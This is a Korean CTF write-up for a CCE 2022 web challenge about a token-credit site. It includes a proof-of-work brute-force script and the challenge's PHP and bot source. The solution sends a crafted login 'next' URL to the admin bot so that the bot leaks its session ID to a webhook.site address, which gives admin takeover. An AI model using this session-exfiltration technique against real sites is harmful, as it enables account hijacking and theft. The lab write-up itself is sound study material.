문제 Docker
1. 해당 문제의 경우 회원 가입을 하거나 토큰을 송금할 때 PoW(작업 증명)을 해야하는데, 아래의 Python Code를 이용하여 작업을 증명을 진행했습니다.
※ PoW 한 번당 대략 5초 정도 걸림
import hashlib
import itertools
import string
words="abcdefghijklmnopqrstuvwxyz12345678890"
pow_list = itertools.product(words, repeat=5)
for i in pow_list:
value = hashlib.sha1(''.join(i).encode()).hexdigest()
if(value[0:5]=="ad1a4"):
print("Correct",''.join(i))
break
else:
pass
2. 문제에서 Flag를 획득하기 위해서는 계정의 토큰(가상 화폐)이 10e8(VVIP)이상 쌓여있어야 했습니다.
src\mypage.php
<p class="mb-4">
Your current credit : <b><?=number_format($user["credit"])?> BFLs</b><br>
Your Level :
<?php
if ($user["credit"] > 1e8) {
$level = "VVIP";
}
else if ($user["credit"] > 1e5) {
$level = "VIP";
}
else if ($user["credit"] > 5e4) {
$level = "Platinum";
}
else if ($user["credit"] > 2e4) {
$level = "Gold";
}
else if ($user["credit"] > 1e4) {
$level = "Silver";
}
else if ($user["credit"] > 50) {
$level = "Bronze";
}
else if ($user["credit"] > 10) {
$level = "Useless";
}
else {
$level = "Poor";
}
echo $level;
3. 문제에는 관리자에게 버그를 신고하는 기능이 있었는데 http://localhost/로 URI가 시작한다면, bot.js 파일을 이용하여 관리자 PC에서 자동으로 해당 URI로 접속을 시도하였습니다.
src\cs\report.php
<?php
define("_BUFFALO_", 1);
include "../__common.php";
if(isset($_POST["url"])) {
if(!isset($_POST["pow"]) || !check_pow($_POST["pow"])) {
alert_die("Wrong pow", "/cs/report.php");
}
$url = $_POST["url"];
if(substr($url, 0, strlen("http://localhost/")) === "http://localhost/") {
$param = base64_encode($url);
$param = escapeshellarg($param);
exec("node /app/bot.js {$param} > /dev/null &");
alert_die("Done", "/index.php");
}
else {
alert_die("Wrong URL", "/cs/report.php");
}
}
?>
botsrc\bot.js
const puppeteer = require('puppeteer');
if (process.argv.length != 3) {
console.error("Invalid invoke");
process.exit(1);
}
let url = process.argv[2];
url = Buffer.from(url, "base64").toString("utf8");
if (!url.startsWith("http://localhost/")) {
console.error("Invalid URL");
process.exit(1);
}
console.log(url);
(async () => {
const browser = await puppeteer.launch({
headless: false,
args: ['--no-sandbox', '--disable-setuid-sandbox'],
});
const page = await browser.newPage();
page.setDefaultNavigationTimeout(5000);
// Redacted: some small login stuff :D
await page.goto(url);
await page.waitForTimeout(1500);
await browser.close();
})();
4. 또한, login.php 페이지로 접근 시 next GET Parameter가 있을 경우, 해당 URI로 session 값을 포함하여 접속을 시도하는 기능이 존재하였습니다. 해당 기능을 이용하여 webhook.site로 관리자의 Session ID를 획득할 수 있었습니다.
Report URI : http://localhost/login.php?next=https://webhook.site/2ea6149d-0eae-4c41-b00a-cab03e6a0d67
5. 획득한 Session ID를 이용하여 관리자 계정으로 로그인을 성공할 수 있었으며, 관리자 계정의 경우 특정 ID로 토큰을 무한대로 쌓아줄 수 있기 때문에 VVIP로 등급을 상승시켜 Flag를 획득할 수 있었습니다.
src\api\transfer.php
<?php
define("_BUFFALO_", 1);
include "../__common.php";
include "./_api_common.php";
if(check_pow($USER_DATA["pow"])) {
$am = (float)$USER_DATA["amount"];
$rc = bin2hex($USER_DATA["recv"]);
$token = sha1($USER_DATA["token"]);
if($user["userid"] !== "admin") { //admin can copy the money
if ($am < 5.00) {
error("Minimum transfer is 5 BFL");
}
if ($user["credit"] < $am + 0.05) {
error("You can't transfer over ".($user["credit"]-0.5)." BFL");
}
if ($token !== $user["token"]) {
error("Wrong secondary pw");
}
mysqli_query($conn, "update user set credit = credit - ($am + 0.5) where userid = '".bin2hex($user["userid"])."';");
}
mysqli_query($conn, "update user set credit = credit + $am where userid = '$rc';");
success("Transfer succeed");
}
error("Wrong pow");
'CTF&War Game > CTF' 카테고리의 다른 글
[CCE 2022] blue archive Write Up (0) | 2022.09.25 |
---|---|
[CCE 2022] BabyWeb Write Up (0) | 2022.09.24 |
[CCE 2022] reborn of php Write Up (0) | 2022.09.24 |
댓글